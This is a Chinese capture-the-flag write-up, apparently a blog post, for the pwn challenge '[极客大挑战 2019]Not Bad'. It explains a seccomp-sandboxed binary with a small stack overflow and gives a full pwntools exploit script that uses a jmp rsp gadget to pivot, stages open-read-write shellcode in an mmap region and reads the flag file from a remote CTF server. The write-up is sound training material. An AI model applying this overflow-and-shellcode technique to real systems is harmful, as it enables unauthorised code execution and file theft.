[极客大挑战 2019]Not Bad刷题

 检查下程序的保护措施

拖入ida发现程序打开了沙盒保护,随即用seccomp-tools工具查看下白名单

因此这题选择用orw来get flag

函数允许我们输入0x38个字节,但buf只有0x20大小,并且只能溢出0x18个字节,用buf来装orw的汇编代码是绝对不够的,但程序一开始mmap了内存中的一段区域,我们可以利用这段区域来保存我们的shellcode,并发现该程序有jmp rsp,利用jmp rsp可以直接执行栈上的内容

 write up


from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
io=remote("node3.buuoj.cn",29801)
mmap=0x123000
jmp_rsp=0x400a01
payload=shellcraft.open("./flag")
payload+=shellcraft.read(3,mmap+0x100,100)
payload+=shellcraft.write(1,mmap+0x100,100)
payload=asm(payload)
payload1=asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000; jmp rax")
payload1=payload1.ljust(0x28,b'a')
payload1+=p64(jmp_rsp)+asm("sub rsp,0x30; jmp rsp")
io.recv()
io.sendline(payload1)
io.sendline(payload)
io.interactive()

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值